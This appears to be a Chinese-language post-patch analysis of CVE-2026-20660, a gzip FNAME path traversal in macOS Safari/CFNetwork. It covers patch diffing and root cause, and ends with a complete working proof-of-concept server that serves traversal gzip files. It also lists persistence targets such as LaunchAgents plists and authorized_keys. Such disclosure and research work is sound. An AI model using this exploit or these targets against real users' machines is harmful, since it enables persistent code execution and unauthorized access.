漏洞概述
CVE-2026-20660 是 Apple CFNetwork 框架中的一个路径处理漏洞,允许远程攻击者通过提供恶意 gzip 文件将文件写入受害者文件系统的任意位置。
| 字段 | 详情 |
|---|---|
| 组件 | CFNetwork (macOS) |
| 影响 | 远程用户可能能够写入任意文件 |
| 修复描述 | 通过改进逻辑解决了路径处理问题 |
| 修复版本 | Safari 26.3 / macOS Sequoia 26.3 (2026-02-11) |
| 发现者 | Amy |
| 漏洞类型 | 通过 Gzip FNAME 头的路径穿越 (RFC 1952) |
| 触发条件 | Safari “下载后打开安全文件” 已启用(macOS 默认开启) |
| 公告 | Apple Security Release - Safari 26.3 |
披露说明: 这是在 Apple 发布 Safari 26.3 修复后独立进行的 1-day 分析。原始漏洞由 Amy 发现并报告。所有测试均在受影响版本(Safari 26.2 / macOS 26.2.1)上对本地控制的系统进行。
阶段 1:二进制获取与 BinDiff
从 IPSW 提取 CFNetwork
使用 ipsw 工具从 iOS 26.2.1(存在漏洞)和 iOS 26.3(已修复)IPSW 固件镜像中内嵌的 dyld_shared_cache 提取 CFNetwork 框架。
两个提取的二进制文件均为 Mach-O 64-bit ARM64e(支持 PAC)。但由于是从共享缓存中提取的,其 load command 中的 section 偏移指向原始共享缓存中的地址,而非提取后的文件内部。这导致 otool、objdump 和 IDA Pro 在正常加载时均会失败:
$ file CFNetwork_26.2.1/CFNetwork
Mach-O 64-bit arm64e (caps: PAC00) dynamically linked shared library
$ otool -tV CFNetwork
section offset for section (__TEXT,__text) is past end of file
IDA Pro 将两个二进制文件作为原始 ROM 段加载,而非结构化的 Mach-O 文件,导致没有函数名和 Objective-C 元数据解析。
BinDiff 结构比较
尽管 IDA 的分析质量有所下降,BinDiff 仍基于控制流图结构成功匹配了 10,489 个函数。绝大多数的相似度评分为 1.0(完全相同)。只有约 20 个函数 的相似度低于 1.0。
BinDiff 结果存储在 SQLite 数据库中,包含新旧二进制文件中匹配的函数地址、相似度评分和指令数。
阶段 2:通过 lief + capstone + BinDiff 交叉引用解析符号
问题
BinDiff 只提供了原始的文件偏移地址(如 sub_24C4A4)。由于 IDA 未解析 Mach-O 结构,所有函数都是未命名的 sub_XXXXX 条目。需要将这些地址映射到实际的符号名。
解决方案
使用 Python lief 库直接解析 Mach-O 符号表。与 IDA 处理从共享缓存提取的 dylib 不同,lief 能正确处理 load command 并提供完整的导出符号列表,包括 C 函数、C++ mangled 名称和 Objective-C 方法。
关键地址映射关系:
BinDiff 地址 = IDA 平坦地址 = 文件偏移(IDA 将二进制文件作为从 0x0 开始的 ROM 加载)
lief 符号地址 = 虚拟地址 (vaddr)
vaddr = __TEXT 段基址 + 文件偏移
因此:符号名 = lief.symbols[BinDiff_address + __TEXT_base]
import lief
binary = lief.parse('CFNetwork_26.2.1/CFNetwork')
# __TEXT 段:vaddr=0x197cdc000, fileoff=0x0
TEXT_BASE = 0x197cdc000
# BinDiff 地址 0x24C4A4 -> vaddr 0x197F284A4
vaddr = TEXT_BASE + 0x24C4A4
symbol_name = symbols[vaddr]
# -> "-[NSGZipDecoder filenameWithOriginalFilename:]"
完整的变更函数符号解析
将所有相似度 < 1.0 的函数映射到符号名并过滤掉 loader stub(gotLoadHelper、delayInitStub)后,有意义的变更如下:
| 相似度 | 指令数 | 符号 | 类别 |
|---|---|---|---|
| 0.088 | – | BaseAwaitingTube::BaseAwaitingTube |
连接层 |
| 0.229 | – | resolveTubeType |
连接层 |
| 0.356 | – | ConnectionProtocolRemoveInputHandler |
连接层 |
| 0.406 | – | PAC::rlsCancel |
代理自动配置 |
| 0.653 | – | TubeManager::addNewFastPathCache |
连接层 |
| 0.889 | 112 | -[NSGZipDecoder filenameWithOriginalFilename:] |
文件名处理 |
| 0.906 | 278 | PAC::CreatePACTicket |
代理自动配置 |
| 0.992 | 490 | -[__NSCFURLProxySessionConnection didCompleteWithError:] |
会话回调 |
| 0.976–0.993 | – | 多个 NWIOConnection、TubeManager 函数 |
连接/传输 |
唯一与文件名或路径处理相关的变更函数是 [NSGZipDecoder filenameWithOriginalFilename:]。
排除其他文件名函数
为确认没有遗漏相关变更,使用 capstone 反汇编并比较了所有文件名相关函数的指令数:
| 函数 | 旧版指令数 | 新版指令数 | 差值 |
|---|---|---|---|
_createSanitizedFileNameFromString |
300+ | 300+ | 0 |
_createFilenameFromContentDispositionHeader |
500+ | 500+ | 0 |
_CFURLResponseCopySuggestedFilename |
48 | 48 | 0 |
URLResponse::copySuggestedFilename |
239 | 239 | 0 |
URLDownload::_internal_copySuggestedFilenameFromOriginalFilename |
82 | 82 | 0 |
GZipDownloadDataDecoder::createFilenameWithOriginalFilename |
120 | 120 | 0 |
所有 Content-Disposition 解析和文件名构建函数字节级相同,确认漏洞不在 HTTP 头解析层。
阶段 3:通过 ARM64 反汇编比较进行根因分析
反汇编方法
使用 capstone(ARM64 反汇编器)对两个版本的 [NSGZipDecoder filenameWithOriginalFilename:] 进行反汇编。由于共享缓存提取的偏移映射,文件偏移计算如下:
file_offset = vaddr - __TEXT_segment.vaddr
# 旧版:0x197F284A4 - 0x197CDC000 = 0x24C4A4
# 新版:0x198099394 - 0x197E4D000 = 0x24C394
调用序列比较
每条 BL(branch-and-link)指令的目标通过 lief 解析到对应的 Objective-C dispatch stub 符号:
旧版 (26.2.1) — 存在漏洞:
objc_msgSend$copy @ 0x198088e40 <- 复制文件名
objc_msgSend$length @ 0x19808b900 <- 检查长度
objc_msgSend$pathExtension @ 0x19808c460 <- 获取扩展名
objc_msgSend$lowercaseString @ 0x19808ba40 <- 统一大小写
objc_msgSend$isEqualToString: @ 0x19808b560 <- 比较扩展名
objc_msgSend$stringByDeletingPathExtension @ 0x198091240 <- 去掉 .gz
objc_msgSend$stringByAppendingPathExtension @ 0x198091200 <- 添加替换扩展名
未调用 lastPathComponent。
新版 (26.3) — 已修复:
objc_msgSend$length @ 0x1981fd3c0
objc_msgSend$pathExtension @ 0x1981fdf20
objc_msgSend$lowercaseString @ 0x1981fd500
objc_msgSend$isEqualToString: @ 0x1981fd020
objc_msgSend$stringByDeletingPathExtension @ 0x198202d00
objc_msgSend$stringByAppendingPathExtension @ 0x198202cc0
objc_msgSend$lastPathComponent @ 0x1981fd3a0 <- 新增
增加了 lastPathComponent 尾调用。
控制流差异
旧版 — 返回路径:
; 如果 NSGZipDecoder 有文件名(从 gzip FNAME 头读取)且长度非零:
0x197f284d0: bl objc_msgSend$length ; 检查长度
0x197f284d4: cbz x0, ... ; length == 0 -> 跳转到 pathExtension 分支
0x197f284d8: mov x0, x20 ; length != 0 -> 直接返回文件名
0x197f284e4: retab ; <- BUG:无路径清理
新版 — 返回路径:
0x1980993c0: bl objc_msgSend$length
0x1980993c4: cbnz x0, #0x198099408 ; length != 0 -> 向前跳转
; ...(pathExtension 分支,也到达 0x198099408)
0x198099408: mov x0, x20
0x198099414-0x198099424: epilog
0x198099424: b objc_msgSend$lastPathComponent ; <- 尾调用,去除目录组件
所有退出路径现在都经过 lastPathComponent 尾调用,确保目录穿越组件从文件名中被剥离。
阶段 4:确定攻击向量
错误的方向:Content-Disposition
第一次 PoC 尝试在 HTTP Content-Disposition 头中嵌入 ../ 路径穿越序列。在 Safari 26.2 上测试显示文件被保存为 _.._cve-2026-20660-proof.txt.gz:
../被 Safari 的下载管理器替换为_.._— Safari 已经对 HTTP 头文件名进行了清理。.gz扩展名被保留 — NSGZipDecoder 从未被调用进行解压。
这确认了通过 Content-Disposition 无法触发路径穿越。
正确的向量:Gzip FNAME 头
RFC 1952 定义的 gzip 格式包含一个可选的 FNAME 字段(FLG 位 3),用于存储原始文件名。这个文件名嵌在 gzip 文件体内部,不受 HTTP 层清理的影响。
NSGZipDecoder 在解压 .gz 文件时读取 FNAME 字段,并通过 filenameWithOriginalFilename: 传递以确定输出文件名。
攻击流程:
sequenceDiagram
participant A as 攻击者服务器
participant S as 受害者 Safari (< 26.3)
A->>S: HTTP Response
Content-Type: application/gzip
Content-Disposition: filename="report.gz" ← 干净
[gzip body with FNAME="../../proof.txt"] ← 恶意
Note over S: 1. Safari 保存 report.gz
到 ~/Downloads/
Note over S: 2. "打开安全文件"
触发 NSGZipDecoder
Note over S: 3. NSGZipDecoder 读取
FNAME: "../../proof.txt"
rect rgb(255, 200, 200)
Note over S: 旧版(存在漏洞)
output = "../../proof.txt"
~/Downloads/../../proof.txt
= ~/proof.txt ← 逃逸!
end
rect rgb(200, 255, 200)
Note over S: 新版(已修复)
lastPathComponent → "proof.txt"
~/Downloads/proof.txt ← 安全
end
构造 Gzip FNAME 字段
RFC 1952 gzip 头布局:
+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG| MTIME |XFL|OS |
+---+---+---+---+---+---+---+---+---+---+
1f 8b 08 08 ...timestamp... 00 ff
FLG 位 3 = FNAME:如果设置,一个以 null 结尾的原始文件名字符串
紧跟在头部第 10 字节之后。
阶段 5:macOS Safari 26.2 上的观察行为
在 macOS Safari 26.2 上测试发现以下行为:
路径穿越深度
NSGZipDecoder 的解压并不直接在 ~/Downloads/ 中进行,而是在其下的一个临时子目录中。因此:
depth=1(../pwn.sh)只能逃出临时子目录;文件仍在~/Downloads/内。depth=2(../../pwn.sh)才能到达~/。
解压后的文件权限
$ ls -la ~/pwn.sh
-rwx------@ 1 user staff 25 Mar 9 22:32 pwn.sh
解压的 .sh 文件自动获得了可执行权限(-rwx------)。这意味着攻击者植入的脚本不需要受害者手动运行 chmod +x,大幅降低了从任意文件写入到代码执行的门槛。
注意: 可执行权限的确切来源需要进一步调查——可能来自 gzip 元数据中保存的 Unix 权限位,也可能是 macOS 对脚本文件默认应用的可执行权限。
不会覆盖已有文件
如果目标路径已存在文件,Safari 不会覆盖它;而是会用数字后缀重命名新文件(如 pwn-2.sh)。这意味着:
- 首次写入目标路径会成功。
.zshrc或authorized_keys等已有文件不会被篡改。- 但是,可以在敏感目录中创建新文件(如
~/.ssh/),前提是目录存在且目标文件名尚未被占用。
高影响利用场景
鉴于 “可创建但不能覆盖” 的限制,最有价值的攻击目标是在敏感目录中写入新文件:
| 目标路径 | FNAME (depth=2) | 影响 |
|---|---|---|
~/Library/LaunchAgents/com.evil.plist |
../../Library/LaunchAgents/com.evil.plist |
用户登录时持久化代码执行(plist 格式) |
~/.ssh/authorized_keys |
../../.ssh/authorized_keys(需要 .ssh/ 已存在) |
未经授权的 SSH 访问 |
~/pwn.sh |
../../pwn.sh |
带 +x 权限的可执行脚本(已验证) |
LaunchAgents 是最高影响目标:该目录通常已存在,plist 文件名可任意选择(避免冲突),macOS 在用户登录时会自动执行该目录中所有 plist 定义的任务。
影响分析
macOS(受影响)
文件可以被写入 ~/Downloads/ 之外的任意用户可访问位置。最高影响场景:
~/Library/LaunchAgents/— 写入 plist 实现用户登录时的持久化代码执行(主要目标)。~/.ssh/authorized_keys— 添加攻击者的 SSH 公钥(需要.ssh/目录已存在且没有同名文件)。- 任意路径的可执行脚本 — 解压文件自动获得
+x权限。
iOS(不受影响)
符号分析确认 NSGZipDecoder 仅在 macOS 上被调用。iOS 使用完全独立的解压机制。
平台下载/解压架构
| 平台 | 下载 API | 解压 | 文件名处理 |
|---|---|---|---|
| macOS | NSURLDownload |
NSGZipDecoder(遵循 NSURLDownloadDecoder 协议) |
filenameWithOriginalFilename: — 存在漏洞 |
| iOS | NSURLSession |
SZExtractor / STRemoteExtractor |
独立代码路径,不受影响 |
符号分析证据
-
NSGZipDecoder遵循NSURLDownloadDecoder协议:__OBJC_CLASS_PROTOCOLS_$_NSGZipDecoder -> __OBJC_PROTOCOL_$_NSURLDownloadDecoderNSURLDownload是一个遗留的 macOS 专用下载 API(从未在 iOS 上可用)。 -
NSGZipDecoder.init调用 macOS 专用 API:-[NSGZipDecoder init] -> _CFURLDownloadCancel -> -[NSURLDownload cleanupChallenges] -
iOS
NSURLSessionDownloadTask使用不同的解压路径:NSURLSessionTask._extractor -> SZExtractor (Streaming Zip Extractor) -> STRemoteExtractor这些是
NSURLSession专用的解压器,与NSGZipDecoder完全独立。 -
与 Apple 公告一致: CVE-2026-20660 仅列出适用于 “macOS Sonoma 和 macOS Sequoia",不包括 iOS。
利用限制
- 仅 macOS — iOS 使用独立的
SZExtractor解压路径。 - 需要 Safari 的 “下载后打开安全文件” 处于启用状态(macOS Safari 默认开启)。
- 无法覆盖已有文件 — Safari 对冲突文件自动应用数字后缀重命名。
- 路径穿越需要 depth >= 2(解压在
~/Downloads/的子目录中进行)。 - 攻击者必须知道到目标路径的相对目录深度。
利用优势
- 解压的脚本自动获得可执行权限 — 受害者无需手动
chmod +x。 ~/Library/LaunchAgents/默认存在且 plist 文件名由攻击者控制 — 无冲突风险。- 整个攻击链零用户交互(Safari 的自动解压默认启用)。
概念验证
PoC 由两个文件组成:server.py(核心 gzip 构建器和 HTTP 服务器)和 server_overwrite.py(针对 ~/pwn.sh 的简化变体)。
server.py
#!/usr/bin/env python3
"""
CVE-2026-20660 PoC -- CFNetwork NSGZipDecoder 路径穿越
根因(来自 BinDiff 补丁分析):
-[NSGZipDecoder filenameWithOriginalFilename:] 从 gzip 头读取 FNAME 字段。
旧版本直接返回。新版本调用 [NSString lastPathComponent] 去除目录组件。
攻击向量:
路径穿越嵌入在 GZIP HEADER(RFC 1952 FNAME)中,
不是在 Content-Disposition HTTP 头中。
1. 服务器发送一个带有干净 Content-Disposition 名称的 .gz 文件
2. Safari 下载 "harmless.gz" 到 ~/Downloads/
3. Safari 自动解压 .gz(如果 "打开安全文件" 已启用)
4. NSGZipDecoder 从 gzip 头读取 FNAME:"../../evil.txt"
5. 旧版本使用 "../../evil.txt" -> 文件写入 Downloads 之外
6. 新版本:lastPathComponent -> "evil.txt" -> 安全
用法:
python3 server.py [--port PORT] [--depth DEPTH]
"""
import argparse
import gzip
import http.server
import io
import os
import struct
import sys
import time
import urllib.parse
from datetime import datetime
PROOF_TEXT = """\
CVE-2026-20660 -- Proof of Arbitrary File Write
================================================
This file was written by exploiting a path traversal
in the gzip FNAME header field, processed by
-[NSGZipDecoder filenameWithOriginalFilename:]
Timestamp: {timestamp}
FNAME payload: {fname}
"""
def make_gzip_with_fname(content: bytes, fname: str) -> bytes:
"""
构建一个带有自定义 FNAME(原始文件名)头的 gzip 流。
RFC 1952 gzip 格式:
+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG| MTIME |XFL|OS |
+---+---+---+---+---+---+---+---+---+---+
FLG 位 3(FNAME):如果设置,原始文件名以零字节结尾存在。
"""
import zlib
# Gzip 头
header = bytearray()
header += b'\x1f\x8b' # ID1, ID2(魔数)
header += b'\x08' # CM = deflate
header += b'\x08' # FLG = FNAME 位设置
header += struct.pack('<I', int(time.time())) # MTIME
header += b'\x00' # XFL
header += b'\xff' # OS = unknown
# FNAME 字段:以 null 结尾的字符串
header += fname.encode('latin-1') + b'\x00'
# 压缩数据
compress = zlib.compressobj(9, zlib.DEFLATED, -zlib.MAX_WBITS)
deflated = compress.compress(content)
deflated += compress.flush()
# 尾部:CRC32 + ISIZE
crc = zlib.crc32(content) & 0xFFFFFFFF
isize = len(content) & 0xFFFFFFFF
trailer = struct.pack('<II', crc, isize)
return bytes(header) + deflated + trailer
class ExploitHandler(http.server.BaseHTTPRequestHandler):
traversal_depth = 5
target_name = "cve-2026-20660-proof.txt"
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
query = urllib.parse.parse_qs(parsed.query)
if parsed.path == "/":
self._serve_landing()
elif parsed.path == "/download":
depth = int(query.get("depth", [str(self.traversal_depth)])[0])
custom_fname = query.get("fname", [None])[0]
self._serve_exploit(depth, custom_fname)
else:
self.send_error(404)
def _serve_landing(self):
page = """<!DOCTYPE html>
<html><head><title>CVE-2026-20660 PoC</title></head>
<body>
<h1>CVE-2026-20660 PoC</h1>
<p>NSGZipDecoder FNAME Path Traversal</p>
<a href="/download?depth=2">Trigger (depth=2)</a>
</body></html>""".encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(page)))
self.end_headers()
self.wfile.write(page)
def _serve_exploit(self, depth: int, custom_fname: str | None = None):
ts = datetime.now().isoformat()
if custom_fname:
fname = custom_fname
else:
fname = "../" * depth + self.target_name
text = PROOF_TEXT.format(timestamp=ts, fname=fname)
gz_data = make_gzip_with_fname(text.encode('utf-8'), fname)
clean_name = "report.gz"
print(f"\n{'='*60}")
print(f" Exploit triggered @ {ts}")
print(f" Content-Disposition: {clean_name} (clean)")
print(f" Gzip FNAME header: {fname} (malicious)")
print(f" Payload: {len(gz_data)} bytes")
print(f" Client: {self.client_address[0]}")
print(f"{'='*60}")
self.send_response(200)
self.send_header("Content-Type", "application/gzip")
self.send_header("Content-Disposition", f'attachment; filename="{clean_name}"')
self.send_header("Content-Length", str(len(gz_data)))
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(gz_data)
def log_message(self, fmt, *args):
sys.stderr.write(f"[{datetime.now():%H:%M:%S}] {self.client_address[0]} - {fmt % args}\n")
def main():
p = argparse.ArgumentParser(description="CVE-2026-20660 PoC Server")
p.add_argument("--port", "-p", type=int, default=8080)
p.add_argument("--bind", "-b", default="0.0.0.0")
p.add_argument("--depth", "-d", type=int, default=5,
help="Path traversal depth (../ count)")
p.add_argument("--name", "-n", default="cve-2026-20660-proof.txt",
help="Target filename for proof")
args = p.parse_args()
ExploitHandler.traversal_depth = args.depth
ExploitHandler.target_name = args.name
srv = http.server.HTTPServer((args.bind, args.port), ExploitHandler)
print(f"\n CVE-2026-20660 PoC Server")
print(f" http://{args.bind}:{args.port}/")
print(f" Default depth: {args.depth}")
print(f" Target name: {args.name}")
print(f"\n Attack: gzip FNAME header path traversal")
print(f" Requires: 'Open safe files after downloading' in Safari\n")
try:
srv.serve_forever()
except KeyboardInterrupt:
print("\nStopped.")
srv.server_close()
if __name__ == "__main__":
main()
用法
cd CVE-2026-20660
python3 exploit/server.py --port 8888
# 在存在漏洞的 Safari (< 26.3) 中打开:
# http://<server-ip>:8888/
前提条件: Safari 偏好设置 > 通用 > “下载后打开安全文件” 必须启用(macOS Safari 默认配置)。
验证:
ls ~/cve-2026-20660-proof.txt # depth=2 时
cat ~/cve-2026-20660-proof.txt # 检查证明内容
缓解措施
- 更新到 Safari 26.3 或更高版本。
- 禁用 Safari 偏好设置 > 通用 > “下载后打开安全文件”。
- 不要从不受信任的来源下载
.gz文件。